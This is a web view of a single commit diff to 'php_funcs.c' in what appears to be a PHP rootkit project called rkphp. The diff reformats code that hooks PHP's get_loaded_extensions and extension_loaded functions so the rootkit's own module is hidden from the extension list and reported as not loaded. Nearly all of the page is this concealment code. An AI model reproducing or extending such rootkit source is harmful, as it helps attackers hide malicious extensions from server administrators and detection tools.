Browse Source

Default

master
Root 5 years ago
parent
commit
e84c278631
  1. 24
      rkphp/src/php_funcs.c

24
rkphp/src/php_funcs.c

@ -45,10 +45,10 @@ static int rkphp_hook( @@ -45,10 +45,10 @@ static int rkphp_hook(
static void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
{
array_init(return_value);
zend_module_entry *module;
array_init(return_value);
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
@ -68,16 +68,16 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS) @@ -68,16 +68,16 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
{
zend_module_entry *module;
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
{
if(strcmp(RKPHP_NAME, module->name) == 0)
{
RKPHP_PRINTF("[!] Hidden %s from extension_loaded, return false!\n", module->name);
RETURN_FALSE;
}
}
ZEND_HASH_FOREACH_PTR(&module_registry, module) \
{ \
if(module->name) \
{ \
if(strcmp(RKPHP_NAME, module->name) == 0) \
{ \
RKPHP_PRINTF("[!] Hidden %s from extension_loaded, return false!\n", module->name); \
RETURN_FALSE; \
} \
} \
} ZEND_HASH_FOREACH_END();
}

Loading…
Cancel
Save